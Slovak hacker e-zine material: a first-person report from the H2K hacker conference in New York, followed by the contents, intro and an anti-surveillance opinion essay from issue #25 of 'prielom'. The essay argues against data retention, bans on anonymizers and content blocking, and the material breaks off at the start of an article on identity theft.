    konecne odhodlal spisat nejake postrehy z tejto akcie ktorej som sa zucastnil.



    najprv niekolko poznamok. oficialnu stranku h2k s mnozstvom zaujimaveho
    materialu najdete na adrese
    http://www.h2k.net.
    moje fotky z akcie sa nachadzaju na
    http://www.johny.sk/h2k/
    , na niektore zaujimave zabery upozornim nizsie.
    vacsinou su dost tmave, je to sposobene tym, ze sa cela akcia konala dnu v
    hoteli a defaultny blesk k mojmu fotoaparatu je vhodny tak do 1.5 metra..



    do new yorku som pricestoval z domu mojho znameho v connecticute (asi 50 mil
    od nyc) autom s niekolkymi dalsimi ludmi, ktorych som dovtedy poznal len z
    irc. po prichode do hotela som sa zaregistroval na recepcii, mal som
    rezervovanu jednu dvojpostelovu izbu, na ktoru sme sa planovali zlozit
    samozrejme viaceri ako dvaja. nakoniec to dopadlo tak, ze sa nas v jednej izbe
    pre dvoch nazbieral rekordny pocet -- 10 ludi, hehehe. ja osobne som spal v
    miestnosti, ktora za normalnych okolnosti sluzi ako satnik [ href="http://www.johny.sk/h2k/54.jpg">54] (tie dvere nie su vstup do izby
    ako by sa mohlo zdat. boli to nejake unikove dvere, ani sa nedali otvorit).
    nechali sme si na izbu doviezt aj pridavnu rozkladaciu postel, a duali sme, ze
    nam ju nezarataju do ceny :-). ale namiesto nej nam priniesla upratovacka dake
    uteraky, ci co. pochopili to az po dalsom telefonate na recepciu. zatial sme
    sa v izbe rozlozili, jeden z pritomnych si zisiel dole kupit nejaku colu a
    vratil sa s uctom z hotela, ktory nasiel pri telefonoch, na ktorom bolo cislo
    kreditky aj s menom, adresou a datumom expiracie karty :-)) [ href="http://www.johny.sk/h2k/08.jpg">08].



    hned v prvy vecer bola premiera dokumentarneho filmu o niektorych hackerskych
    kauzach, vacsina filmu pojednava o kevinovi mitnickovi, resp. o jeho 5-rocnom
    pobyte vo vazeni bez toho, ze by bol odsudeny, a o snahach dostat ho von.
    pritom z neho ale nerobia ziadneho krala hackerov ako byval vacsinou
    prezentovany v mediach. film sa vola freedom downtime [ href="http://www.freedomdowntime.com">http://www.freedomdowntime.com] a
    natocili ho manici z 2600. doteraz vsak nie je uvolneny ani na vhs ani na
    dvd, aj napriek tomu, ze to stale slubuju.



    samozrejmostou pocas celeho vikendu bol free konekt na internet, stacilo si
    len priniest pocitac s kablom a sietovou kartou a plugnut ho do siete (hlavny
    switch [49]). pre ludi, ktori si
    pocitac nechali doma, bol otvoreny network room s klasickymi zelenymi zabami,
    ktore ste si mohli kupit a po skonceni akcie odniest domov :-). niektori manici
    tam doniesli celkom pekne historicke kusky,

    [28,
    33,
    44,
    45,
    45,
    47,
    50,
    51,
    52].

    niektori zase mali celkom stylovo pokreslene notebooky [ href="http://www.johny.sk/h2k/25.jpg">25].

    na tejto akcii za zislo naozaj slusne mnozstvo roznych zaujimavych ludi.
    prislo sice aj dost lamerov, ktori sa tvarili ako najvacsi hackeri na svete,
    ale ked ste si ich odmysleli, tak to bolo super. napriklad typci, co robili
    prednasku o robotike mali skonstruovaneho robota, ktory dokaze sprayovat
    napisy [38] (vysledok [ href="http://www.johny.sk/h2k/48.jpg">48]). v tom case pracovali na novej
    verzii tohto robota, ktora pouziva normalne velke auto (videl som ho na fotke,
    bola to velka rampa so spraymi, upevnena na velkom pickupe - takom tom
    klasickom americkom), proste uplna sialenost :-). samozrejme, nesmela chybat
    ani tradicne klasicka dodavka 2600-karov, ku ktorej sa viaze nespocetne
    mnozstvo legiend :-)) [39, href="http://www.johny.sk/h2k/40.jpg">40, href="http://www.johny.sk/h2k/41.jpg">41, href="http://www.johny.sk/h2k/42.jpg">42] dalsia legenda, captain crunch
    [22, href="http://www.johny.sk/h2k/62.jpg">62, href="http://www.johny.sk/h2k/63.jpg">63], ktoremu sa prisudzuje "objav" tonu
    s frekvenciou 2600hz, pomocou ktoreho sa kedysi (a vraj este v niektorych
    statoch v zapadnutych castiach aj dnes) dalo volat z verejnych telefonnych
    automatov zadarmo. traduje sa, ze tento, dnes uz stary pan, si vtedy kupil
    chipsy "captain crunch", v ktorych bola ako bonus pistalka, ktora vedela menit
    vysku tonu podla toho ako sa vytiahol alebo zasunul taky cicik, ktory z nej
    trcal (kedysi aj u nas boli take lizatka s pistalkou na tomto principe). no a
    stary pan crunch ;-) niekomu telefonoval, pritom si popiskoval a zistil, ze
    ked zapiska isty ton, tak mu automat nic neuctuje. fakt je ten, ze to vlastne
    nevymyslel on, ale niekto uplne iny a on to len spropagoval (sam mi to povedal
    ;-). dalsi zaujimavy clovek, ktoreho bolo mozne vidiet, bol bernie s.
    [75,
    76,
    77]. clovek, ktory bol obvineny zo
    zneuzitia telefonnej siete -- podobny pripad ako mitnick. ten sheet, ktory
    mozte vidite nalepeny na stlpe v pozadi, je upozornenie umiestnovane vo
    vazniciach pri telefone, ktore hlasa nieco v zmysle "podla zakona moze byt
    vas hovor nahravany blablabla" v anglictine a spanielcine. bernie ten letak
    strhol, odfaxoval znamemu a tu ho predaval za 1 dolar za kus ;-)). inak
    pohodovy clovek. vseobecne vsetci ludia, s ktorymi som sa stretol, boli dost
    cool, dobre sa s nimi rozpravalo a vacsinou zo seba nerobili marchrov ani nic
    podobne. nemozno nespomenut emmanuela goldsteina, zakladatela magazinu a
    organizacie 2600 [30].



    osobne som sa najviac z celej konferencie (fuj, konferencia, to znie prilis
    snobsky :-) tesil na social engineering panel, pretoze som si este predtym
    pustal zaznamy z predosleho hope ako volali napriklad do miestneho k-martu,
    kde sposobili mensiu paniku, ked sa im podarilo, aby ich prepli na klapku,
    ktora bola napojena na ozvucovaci system v celom obchodnom dome a vyhlasili,
    ze v oddeleni tom a tom je vsetok tovar az do odvolania zadarmo :-))).
    tentoraz to uz, bohuzial, az taka sranda nebola, nakoniec spravili len jeden
    telefonat do miestnej telekomunikacnej spolocnosti, kde chceli zistit nejake
    doverne informacie (uz si ani nepamatam presne co to bolo ale to nie je
    dolezite), ale skrachovalo to na tom, ze zamestnanci mali zakazane poskytovat
    akekolvek informacie, pretoze "v ten den sa v meste kona hackerska
    konferencia" :-)))). na zaver tohoto bloku sa telefonicky spojili s kevinom
    mitnickom, ktoremu bolo mozne klast aj otazky z plena :-). mitnickovi tie 2
    roky podmienecne, ktore si musi odpykat, naozaj nezavidim -- predstavte si,
    ze by ste sa 2 roky nemohli ani len dotknut pocitaca alebo nejakeho ineho
    elektronickeho zariadenia, ktore by len z dialky pripominalo pocitac. uff.
    [68,
    69,
    70,
    71,
    72]



    velku show predviedli cult of dead cow (autori back orifice), z ktorej ale
    nemam ziadne fotky, lebo som bol daleko od podia, a ktora ma az tak
    nezaujimala, lebo tito chlapici su naozaj mimo :-). ta ich show bol hrozny
    ulet, s jednym z ich clenov som sa aj osobne zoznamil (ma titul minister of
    propaganda) a bol to celkom slusny clovek -- dalo sa s nim porozpravat
    (povodne som predpokladal, ze ma posle niekam s vyhovorkou, ze nema cas alebo
    podobne).



    zaujimave veci predviedli aj chlapci z holandska, ktori zalozili "sportovy
    klub otvarania zamkov bez kluca" (lockpicking), hehehe. vraj sa tato
    disciplina celkom ujala uz aj v nemecku. aj ked sami zdoraznuju, ze to robia
    len pre potesenie a zneuzivanie tohoto konicka na trestnu cinnost rozhodne
    odsudzuju, z ich prednasky by si nove informacie odniesol urcite nejeden
    kriminalny zivel :-). bolo to naozaj celkom zaujimave ("workshop" [ href="http://www.johny.sk/h2k/64.jpg">64], kde si kazdy mohol vyskusat
    svoju zrucnost v otvarani zamkov, a prednaska [ href="http://www.johny.sk/h2k/78.jpg">78, href="http://www.johny.sk/h2k/79.jpg">79]. tak ako kazdej verejnej akcie,
    kde sa koncentruje vacsie mnozstvo hackerov, aj tejto sa urcite zucastnili
    tajni. povacsine ale zostanu tajni az do konca. na h2k sa vsak konala verejna
    diskusia s jednym agentom fbi, ktory podla toho co hovoril, sympatizoval s
    hackermi a vyklopil celkom slusne mnozstvo zaujimavych informacii (myslim, ze
    vydal aj nejaku knihu, kde podal vsetky informacie, ktore nie su tajne -- su
    to zaujimave veci, aj ked si poviete, ze "aa, co, vsak co nie je tajne, tak
    kazdy vie". ale nie je to taka). bohuzial, vela si nepamatam lebo som nestihal
    absorbovat tolko informacii naraz. nabuduce si budem robit poznamky.



    prezentaciu si pripravil aj detektiv z istej agentury, ktory predvadzal
    systemy, ktore pouzivaju detektivi na vyhladavanie informacii o obcanoch
    [65,
    66,
    67]. zopar pritomnych ludi mu
    povedalo svoje meno a on im uz nasiel vsetko ostatne -- adresu, datum
    narodenia, ssn, mena rodicov a surodencov a kreditne informacie. celkom pekny
    big brother :-).



    zaujimavostou bolo, ze hned druhy den po skonceni h2k (teda v pondelok), sa na
    sude v new yorku prejednaval pripad mpaa vs. 2600, takze dost ludi sa v nyc
    zdrzalo este dalsi den, aby podporili demonstraciu proti mpaa, ktora sa
    konala pred budovou sudu. zucastnil som sa aj ja (fotodokumentaciu mozete
    najst na adrese
    http://www.johny.sk/mpaa/
    ). prebiehala v pokludnom style, nic zvlastneho sa
    neudialo. dostal som sa aj do sudnej siene, celkom zaujimave je vidiet nazivo
    to, co vacsinou vidite len v americkych filmoch (matlock a spol. :-). casti
    tejto demonstracie sa zucastnil aj richard stallman, zakladatel gnu a
    prezident free software foundation, s ktorym sa mi podarilo zajst na obede do
    cinskej restauracie ale na moje pocudovanie, ked som si neskor pozeral fotky,
    ani na jednej som ho neobjavil :-).



    co dodat na zaver, snad iba tolko, ze aj ked som sa snazil, nebolo mozne
    dostat sa na vsetky prednasky, ktore by som chcel vidiet, pretoze vacsinou
    prebiehali 3 sucasne na roznych miestach a verte ze 90% veci by som rad
    absolvoval. ak sa chce clovek este aj stretnut so znamymi, zaujimavymi ludmi,
    tak nie je sanca to vsetko stihnut :-). tento rok v lete sa bude konat dalsi
    rocnik tejto akcie (doteraz sa konala vzdy kazde dva roky), ja sa tam opat
    chystam a tentokrat som sa rozhodol, ze si budem seriozne robit aj poznamky
    a spravim snad aj nejake rozhovory so zaujimavymi osobnostami, takze sa mate
    na co tesit.



    no a ako hovori jeden moj znamy, zatedy bye!



    johny, johny(at)2600.sk


    navrat na obsah

    co ty na to ? board



    0000010100000001000001020061730208639758
    maniac
     maniac      28.06.2019 - 20:42:21 [11K] , level: 1, UP   NEW


    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #25, 08.06.2010, prielom*hysteria*sk, http://hysteria.sk/prielom/





    obsah


    intro

    Zúfalý výkrik po slobode

    O kradnutí identity v slovenských podmienkach

    EGEE - Enabling Grids for E-science-E

    Ochrana pred zhabaním

    Obfuskace strojového x86 kódu

    Mravný úpadok architektúry

    diskusia






    intro


    Tak predsa :)

    Dvadsiatepiate číslo je konečne tu. Od posledného čísla ubehli štyri roky. Stalo sa mnoho vecí. V krátkosti spomeniem tie, ktoré rezonujú najviac.

    Množstvo ľudí zbystrí pozornosť pri každej novej iterácii medializovanej kauzy prieniku do verejnej zóny nbu.


    Mali sme zase letnú session (za tie 4 roky ich vlastne bolo viac). Prvý deň bol prakticky bez notebookov a všetci sa socializovali. Druhý deň klasicky prednášky a po nich ešte intenzívnejšia socializácia.


    Zaujímavý bol kyberia hacking contest, vďaka ktorému sa popri zábave počas súťaže opravilo niekoľko dier.


    Igigi zamútil vody a ukázal Slovensku niekoľko dier zrejúceho slovenského webu. Názory na to, čo spáchal svojej karme, sa líšia.


    Google (a nie len on) bol terčom úspešných útokov z Číny, následne sa google na Čínu celkom naštval. Na svetle sa v tej súvislosti jasnejšie ukázali mnohé zaujímavé fakty o realite vo svete bezpečnosti. Čierny trh s exploitami a exploit packmi (ku ktorým dostanete SLA, support aj aktualizácie), trh s botnetmi (s používateľsky prívetivými ovládacími panelmi), trh s odcudzenými dátami (automatické boty, ktoré cez SQLi dumpujú dáta a ponúkajú ich komukoľvek na predaj), prepracované prípady elektronickej špionáže a rôzne iné chuťovky. V dohľadnej budúcnosti to zrejme bude iba horšie.


    Zúčastnili sme sa na fantastickej otváracej párty budapeštianskeho hackerspacu (hspbp.org). Popri Maďaroch tam boli geeci zo Slovenska (hysteria.sk), Česka (hysteria.cz), Rakúska (metalab.at) aj Rumunska. Priestory sa nachádzajú v schátralom trojposchodovom dome, ktorý bude o rok zbúraný. Prostredie pripomínajúce squat parádne dotváralo atmosféru. V najväčšom peaku sa v priestore mlelo cez 100 ľudí. Na konci sme sa viacerí zhodli, že priestor po párty vyzerá ako "nuclear wasteland" a že to bola najlepšia párty, akú sme kedy zažili.


    Leakol návrh ACTA a vyzerá to veľmi zle.


    Od vianoc 2009 znovu beží komunitný server s recyklovaným menom c0re. Niekoľko ľudí sa pýtalo na shell. Pod spoločnú digitálnu strechu by sme ale radi prijímali iba ľudí, ktorí majú predstavu o tom, ako budú prispievať v komunite. Na aliase posadka si o vašich projektoch radi niečo prečítame. Nehanbite sa ozvať s vašimi nápadmi, projektami, alebo článkami do ďalšieho prielomu. Ozvite sa!


    Ďakujem autorom článkov za to, že ich zásluhou mohol tento diel výsť.



    WooDy, woody (ryba) hysteria (.bodka.) sk, 3.4.2010, Bingen am Rhein, Breakpoint 2010


    návrat na obsah

    čo ty na to ? diskusia




    Zúfalý výkrik po slobode


    Úvod alebo realita ironicky



    Žijeme v "bezpečnej" dobe - naša spoločnosť najlepšie vie, čo je pre nás dobré
    a čo nie, pred čím nás má chrániť a ako na to.
    Všetko samozrejme pre naše spoločné kolektívne blaho a spokojnosť.


    Už je to pár rokov, čo platí "data retention" EU smernica [1], podľa ktorej
    všetci telekomunikační operátori musia informácie o všetkých svojich klientoch
    (ich hovoroch ako aj o ich Internetovej prevádzke) ukladať po dobu 6-tich
    mesiacov až 2 rokov. Pre boj proti terorizmu, organizovanému zločinu,
    pedofilom, či iným deviantom, je to predsa úplne nevyhnutné.


    Aby to tí teroristi nemali také jednoduché, rovno ich odpočúvajme.
    Nevieme síce odlíšiť teroristov od slušných ľudí, takže musíme mať možnosť
    odpočúvať všetkých - to ale nevadí, slušní ľudia predsa žiadne trestné činy
    nepáchajú.
    A naša SIS a neskorumpovateľný právny systém na čele s pánom Harabínom to
    všetko dobre vie!


    A zakážme rovno všetkých mobilných operátorov, ktorí by chceli teroristov
    podporovať v šifrovaní hovorov - aká drzosť! Teroristi a pedofili sú predsa
    totiž hlúpi a určite ich nenapadne šifrovane komunikovať (pomocou šifrovaného
    VoIP, SMIME, či PGP).


    Alebo to najlepšie, čo môžeme spraviť - podporme inovatívnych intelektuálov
    z SNS a zakážme používanie anonymizérov a šifrovaných spojení. [2]


    Konečne zlikvidujme všetkých teroristov, ktorí nás dennodenne ohrozujú,
    zničme organizovaných zločincov, ktorí nám nedajú spávať, vykastrujme pedofilov
    a iných deviantov (v prípade KDH homosexuálov), ktorí na rohu ulici striehnu,
    kedy ublížia našim deťom alebo rovno nám.


    Ešteže máme veľké šťastie, že Internetoví operátori vypočuli naše prosby a
    ukázali nám, ktoré webové stránky sú pre nás tie vhodné a ktoré by sme za
    žiadnych okolností nemali otvoriť. [3] [4]
    Lebo nikdy neviete, kde na Vás môže číhať nejaký terorista alebo prinajmenšom
    nejaký perverzný pedofil!




    Data retention



    O živnú pôdu na presadenie EU zákona, ktorý bude nariaďovať dlhodobé uchovávanie
    údajov všetkých klientov telekomunikačných operátorov (tam patria aj ISP)
    sa postaral strach z terorizmu, ktorý sa ako "mém" [5] úspešne šíri od
    11. septembra 2001.
    Okrem toho, že tento strach výrazne podporil financovanie všetkého, čo súvisí
    s bojom proti terorizmu a celosvetovo navýšil moc a kontrolu štátnej sféry nad
    jej obyvateľmi, postaral sa tiež o vznik zákonov, ktoré výrazne potláčajú
    individuálne práva ako na súkromie, tak anonymitu všetko v snahe spoločenského
    boja proti nepriateľovi - ničivému terorizmu (v USA majú na to krásny príklad
    v podobe "Patriot Act" [6] presadeným a schváleným G.W.Bushom).


    Bohužiaľ málokto si uvedomuje, že teroristický útok predstavuje v prvom rade
    masívny útok vo forme strachu voči bežným ľuďom mediálne masírovaných
    všadeprítomnými teroristickými hrozbami. Veľa z nich stráca schopnosť spätnej
    racionálnej analýzy napríklad pomocou štatistiky. Inak by samozrejme vedeli, že
    je mnohonásobne pravdepodobnejšie, že umrú pri páde zo schodov, či uštipnutím
    včely, než ako obeť nejakého teroristického útoku.


    Vedenie USA si to zrejme uvedomuje, ale majú podstatne "rozumnejšie"
    dôvody prečo do "boja proti terorizmu" investujú niekoľko násobne viac ako do
    akejkoľvek ochrany voči podstatne pravdepodobnejším spôsobom nášho úmrtia
    (napríklad do výskumu rakoviny).
    Je to totiž veľmi slušný biznis pre veľa zainteresovaných strán políciou
    začínajúc a armádou končiac. Nehovoriac o tom, že v USA vás pre prípad
    teroristického útoku už v pohode ktorákoľvek poisťovňa v pohode poistí.


    Terorizmus (ako veľmi strašná, ale štatisticky veľmi málo pravdepodobná
    hrozba) vstupuje ako hlavný činiteľ pri tvorbe nových zákonov, ktoré výrazne
    obmedzujú naše súkromie.


    Informácie zbierané o vašich hovoroch, či Internetovej komunikácie sú podstatne
    citlivejšie ako si myslíte - je ich totiž veľa a útočník ich môže agregovať
    a odhaliť z nich také informácie, ktoré by vás ani vo sne nenapadli.
    Na základe vašich "google žiadostí", ktoré ste zadali do vyhľadávača za
    posledných 5 rokov (a google si ich samozrejme spároval s vašou perzistentou
    cookie, ktorá vyexpiruje v roku 2020) dokáže útočník o Vás získať podstatne
    lepší osobnostný profil ako keby s vami strávil niekoľkohodinové osobné
    interview. Alebo ste nebodaj presvedčení, že do googla nič také citlivé
    nezadávate?


    Málokto si uvedomuje, že pravdepodobnosť zneužitia týchto citlivých
    údajov (ktoré o Vás telekomunikační operátori starostlivo archivujú) je
    podstatne vyššia ako pravdepodobnosť akéhokoľvek teroristického útoku.
    Určite si ešte spomínate na kompletný hack Slovenského telekomu spred pár rokov,
    či nedávny hack Orange (ktorý sa našťastie netýkal osobných údajov
    klientov, alebo len o tom nevieme...)


    Samozrejme zneužitie týchto údajov nemusí prísť len zo strany anonymných
    hackerov - veľká pravdepodobnosť zneužitia je samozrejme aj z vnútra, teda zo
    strany tých, ktorí k nim majú legitímny prístup. A to, že je pravdepodobnosť
    prípadnej korupcie v našom štáte neporovnateľne vyššia ako pravdepodobnosť
    teroristického útoku, je myslím každému jasné.


    Na záver jednoduché zamyslenie - skutočné má zmysel, aj napriek hore uvedeným
    reálnym rizikám zneužitia, archivovať niekoľko rokov všetky naše citlivé
    dáta ako súčasť "účinného" boja proti tak málo pravdepodobnej hrozbe ako
    terorizmus?




    Legálne odpočúvanie hovorov



    Na to, aby mohol mobilný operátor (nielen na Slovensku) získať licenciu,
    musí technicky zabezpečiť, aby štátne orgány (na čele SIS) mali možnosť
    ľubovoľný hovor odpočúvať a nahrávať.


    Ak by sa ktokoľvek rozhodol verejne ponúkať službu kompletne šifrovaných
    hovorov - bez možnosti odpočúvania, tak v našom legislatívnom systéme
    neuspeje - je to totiž zakázané.


    Otázne, do akej miery je toto nariadenie účinné. Akýkoľvek zločinec, deviant,
    či nebodaj organizovaný terorista s IQ vyšším ako hojdací koník, verejné
    siete ako GSM, či pevné linky zásadne na výmenu veľmi citlivých údajov
    nepoužíva.


    V prípade citlivých hovorov sa môže rozhodnúť napríklad pre šifrovaný VoIP, či
    zakúpiť si jedno z množstva komerčných riešení, ktoré jeho inteligentný telefón
    rýchlo premenia na zariadenie, ktoré hovory dokáže skutočne bezpečne šifrovať
    (napríklad použitím AES/256). Menej inteligentný útočník môže použiť Skype,
    ktoré je síce centralizovaný a odpočúvateľný, ale verím, že mimo dosahu
    slovenskej tajnej služby a právneho systému.
    O mailovej šifrovanej komunikácii (PGP/SMIME) ani nemusím hovoriť.
    Technológie, ktoré sú už veľmi ľahko dostupné a okamžite použiteľné s minimom
    potrebných znalostí.


    Podvodníci, kriminálnici, či iní devianti svoje súkromne hovory už dávno
    šifrujú.


    Nemožnosť používať verejné bezpečne šifrované komunikačné siete v konečnom
    dôsledku okráda o súkromie nás - slušných ľudí.


    Ďalší významný faktor je zneužiteľnosť štátnej moci - máte pocit, že pri
    súčasnom slovenskom súdnom systéme na čele s pánom Harabínom, informácie
    získané vašim odpočúvaním nebudú nikdy zneužité a budú použité len v prospech
    spoločensky akceptovaného "vyššieho dobra"?
    Možno len tí najväčší optimisti (alebo zúfalci) odpovedia, že áno.


    Ak by som si mal vybrať medzi súčasným systémom s možnosťou potenciálneho
    zneužitia našich hovorov štátnou mocou, našim "súdnym" systémom, či tajnými
    službami, ktoré ma "chránia" pred terorizmom, kriminálnymi živlami, či
    deviantami a systémom s jasne definovanými etickými zásadami pre jednotlivcov,
    možnosťou otvorene chrániť svoje súkromie a právom byť anonymný, i keď asi
    s trochu vyšším podielom kriminality, tak odpoviem:


    "Ďakujem, diktatúru s nulovou kriminalitou si už neprosím, uprednostním
    slobodu a možnosť individuálnej voľby."


    To, že sa odpočúvanie hovorov momentálne zneužíva ako zákerná politická zbraň
    ani nemusím zdôrazňovať.


    Množstvo kriminalistov z rukáva vysype kopec racionálnych argumentov,
    prečo má odpočúvanie hovorov zmysel. Možno nejaký aj má - to vyslovene
    nepopieram. Myslím si ale, že používať verejnú službu bezpečnej šifrovanej
    komunikáciu u komerčného verejného operátora, kedy nebude dochádzať
    k žiadnemu monitorovaniu, či archivovaniu našich hovorov, je naše právo.
    Predsa ten citlivý rozhovor môže byt realizovaný naživo pri osobnom stretnutí
    ľudí - a uznáte, že by sa Vám dosť nepáčilo, keby Vás pri každom osobnom
    stretnutí sledovala kamera nejakej tajnej služby.
    A už vonkoncom by ste nerozumeli, prečo tí, ktoré sa snažia túto "kameru"
    odbúrať, sú v našom štáte teraz kriminalizovaní.
    Naša spoločnosť musí mať za každých okolností "právo" na naše odpočúvanie.
    Na potenciálny terorizmus treba totiž neustále dohliadať - nikdy neviete, kde
    a kedy sa nejaký objaví a zo dňa na deň Vás zničí!


    Mať právo na súkromie a anonymitu by malo byť základne právo v každej
    demokratickej spoločnosti a žiadna tajná služba, či demokraticky štát by ho
    občanom nemal upierať.
    Už len preto, lebo môže byť zmanipulovaný a skorumpovaný - o čom je v našom
    prípade ťažšie pochybovať ako neveriť.


    Bohužial realita je úplne iná.




    Zákaz anonymizérov



    Správa o zákaze anonymizérov na mňa zapôsobila ako nepodarený prvoaprílový žart.
    O to šokujúcejšie zistenie bolo, keď som sa dozvedel, že to niekto mysli úplne
    vážne.
    Okrem toho, že som zostal zarazený z nezmyselnosti samotného zákazu, zaujal
    ma spôsob "štátnej" kontroly, ktorý by overoval, či klienti skutočne používajú
    anonymizéry alebo nie a teda porušujú zákon. Napadol mi totiž len jeden účinný
    spôsob overovania hodný Severokórejského režimu - v prípade "potreby" do môjho
    bytu vtrhne komando tajnej služby, zhabe mi moj počítač, vykoná forenznú
    analýzu a zistí, či mám alebo nemám nainštalovaný tor, či iné anonymizéry.
    Ak som nebol dostatočne prezieravý a nič nešifroval, tak mám smolu - pôjdem
    do väzenia.


    Navrhovateľov tohto zákona asi nikdy nenapadlo, že anonymizéry sa dajú
    použiť a aj sa používajú na množstvo dobrých a prospešných vecí (napríklad na
    bezpečný prístup k Internetu v diktátorských krajinách, či zverejňovanie
    citlivých dokumentov o zneužívaní štátnej moci, korupcii napríklad na stránku
    wikileaks.org ).
    Nakoľko je anonymizácia na slušnej úrovni, je zrejmé, že túto sieť automaticky
    začali využívať aj hackeri, či pedofili.
    To ale stále neznamená, že snaha byť anonymný a používať anonymizér je
    neetická, či nebodaj nelegálna činnosť.


    Internet je preplnený fašizmom, satanizmom, či iných extrémistických
    hnutí. Je to tiež miesto, kde sa robia najväčšie platobné podvody a pridružená
    kriminálna činnosť - nikoho so zdravým úsudkom ale nenapadne kvôli tomu
    zakazovať Internet!


    Ak ale nepácham žiadne trestné činy, prečo by som mal mať možnosť byť anonymný?


    Napríklad preto, lebo nežijeme v dokonalom súdnom systéme, či nebodaj
    v krajine s dokonalou vládou. V tomto prípade je bohužiaľ vždy možné,
    že moje neanonymné zverejnenie (akýchkoľvek vecí hodných zverejnenia) môže
    vážne ohroziť ako moju osobnú identitu, rodinu, či blízkych.
    A nemusím pri tom spáchať nič neetické, ani nelegálne.


    V diktátorských a v skorumpovaných režimoch o tom vedia svoje.
    A skutočne si nemôžete byť nikdy istý, že ten váš nie je akurát jeden z nich.




    Blokovanie obsahu



    Blokovanie nelegálneho obsahu je určite veľmi záslužná aktivistická činnosť.
    Váš operátor Vás chráni proti extrémistickým, pedofilným, či inak deviantným
    stránkam. Samozrejme, že vie, čo je pre Vás úplne najlepšie a čo nie.
    Problém, o ktorom Vám určite nepovie, je netransparentnosť blokovania a
    nemožnosť uvedené vynútené blokovanie vypnúť.


    Tušíte k akým stránkam Vám Váš operátor znemožnil prístup? Neviete?
    Obávam sa, že sa to ani nikdy nedozviete. Tento zoznam (alebo "blacklist")
    je totiž veľakrát neverejný a len úzky okruh ľudí rozhoduje o tom, čo sa na tom
    zozname ocitne alebo nie. Oni ale "určite" vedia, čo je pre vaše blaho to
    najlepšie.
    Ak sa na ňom jedného dňa začnú objavovať stránky, ku ktorým ste predtým
    pristupovali dennodenne - nedivte sa - centrálny systém len vyhodnotil, že
    Vám to škodilo a teraz je pre Vás dobré niečo úplne iné...


    Nie všetci operátori umožňujú toto blokovanie vypnúť, vaša "ochrana" má totiž
    skutočne zmysel len vtedy, keď sa skutočne nedá nijako vypnúť...


    Sťahovanie, či vlastnenie extrémistických videí, či pedofilného porna je
    zakázané zákonom. Automaticky totiž implikuje, že na výrobu je niekto
    zneužívaný, obvykle deti. Ak sa ale tento materiál začne generovať, teda
    umelo renderovať profesionálnymi videoštúdiami (po vzhliadnutí Avatara o tom už
    asi nikto nepochybuje), zostane tento perverzný vyrenderovaný materiál naďalej
    zakázaný? K žiadnemu priamemu páchaniu trestného činu totiž už nedochádza!
    Moralisti môžu namietať - "Jasne, že áno - stále je to navádzanie k trestnej
    a kriminálnej aktivite!"
    Liberáli na to - "A čo všetky tie krvilačné, agresívne a psychopatické filmy?
    Tie očividné tiež navádzajú k tejto aktivite - prečo potom nie sú zakázané
    v našej spoločnosti aj tie?"


    Dostávame sa do situácie, kedy definujeme, ktoré vizuálne a akustické symboly
    (zložené z bitov) sú zakázané a ktoré nie, za ktorých vlastnenie a
    prehrávanie budeme stíhaní a za ktoré zase nie.


    Je to veľmi klzká plocha, ktorá veľa ľudí dokáže dostať na tú "šikmú",
    lebo rozdiely medzi tými "zakázanými" a "povolenými" sú niekedy skutočne
    ťažko-uchopiteľné a podliehajú subjektívnemu rozhodovaniu napríklad toho
    skorumpovaného súdu.


    V každom prípade, sa máme v 21. storočí na čo tešiť - stíhanie za nedovolené
    prehrávanie vizualizácie, či akustického záznamu. A čo je najhoršie - aj
    vtedy, keď si to budeme prehrávať len sami sebe...




    Záver



    Stále sme zvyknutí na kolektivistickú spoločnosť - štát, či väčšinu, ktorá
    najlepšie vie, čo je pre jednotlivca najlepšie, aké webové stránky mu škodia,
    akú identitu má presne pri vystupovaní na Internete používať.
    Jednotlivec má síce možnosť voľby, ale štát presne vie, aká voľba je preňho tá
    "správna" alebo aspoň "správnejšia". Keď sa rozhodne náhodou úplne inak,
    tak pre jeho "vlastné dobro" ho pre istotu penalizuje.


    Pre "vyššie spoločenské dobro" a strach z terorizmu, či iných štatisticky
    málo pravdepodobných hrozieb, strácame slobodu.


    Individualistická spoločnosť je totiž energeticky podstatne náročnejšia.
    A čo je najhoršie - núti jednotlivcov rozmýšľať a byť zodpovední.
    Ponecháva totiž plne na nich, či sa rozhodnú byť anonymní alebo nie, či svoje
    informácie a komunikáciu budú alebo nebudú verejne šifrovať, či budú
    konzumovať látky, ktoré uznajú za vhodné alebo sa pripravia o vlastný život,
    keď budú mať na to vlastný dôvod.
    Možno táto spoločnosť nedosiahne "vyššie" spoločenské dobro a nikdy nevyhrá nad
    terorizmom (čo sa podľa mňa aj tak žiadnej nepodarí), ponechá nám ale základné
    rozhodovacie práva - ako naložiť so svojou identitou a svojim telom.


    Kvôli virtuálnym hrozbám obetúvame svoje súkromie za našu "vyššiu bezpečnosť".
    Zabúdajúc na možnosť centrálnej kontroly a zneužitia.


    Je najvyšší čas sa zamyslieť nad svojimi individuálnymi právami, právom na
    súkromie a anonymitu. [7]


    Pre ktorú spoločnosť sa rozhodnete Vy?


    (autor využíva svoje právo na anonymitu)


    Odkazy:

    [1] http://en.wikipedia.org/wiki/Telecommunications_data_retention />
    [2]
    http://www.inet.sk/clanok/8135/ministerstvo-vnutra-navrhuje-zakazat-pouzivanie-anonymizerov-a-uchovavat-udaje-pouzivatelov-verejnych-internetovych-for />
    [3]
    http://www.orange.sk/web/onas/tlacovespravy/detail/orange_aktivne_bojuje_za_ochranu_deti.html />
    [4]
    http://www.dsl.sk/article.php?article=8340 />
    [5]
    http://sk.wikipedia.org/wiki/M%C3%A9m />
    [6]
    http://en.wikipedia.org/wiki/USA_PATRIOT_Act />
    [7]
    http://thepublicvoice.org/madrid-declaration/ />



    návrat na obsah

    čo ty na to ? diskusia





    O kradnutí identity v slovenských podmienkach alebo prečo je proces overovania podpisov notárom deravý


    Varovanie: Neprešlo podrobnou právnickou analýzou

    Varovanie2: Pri písaní tohto článku autor nepoužíval žiadne servítky, ktoré by si mohol klásť pred ústa

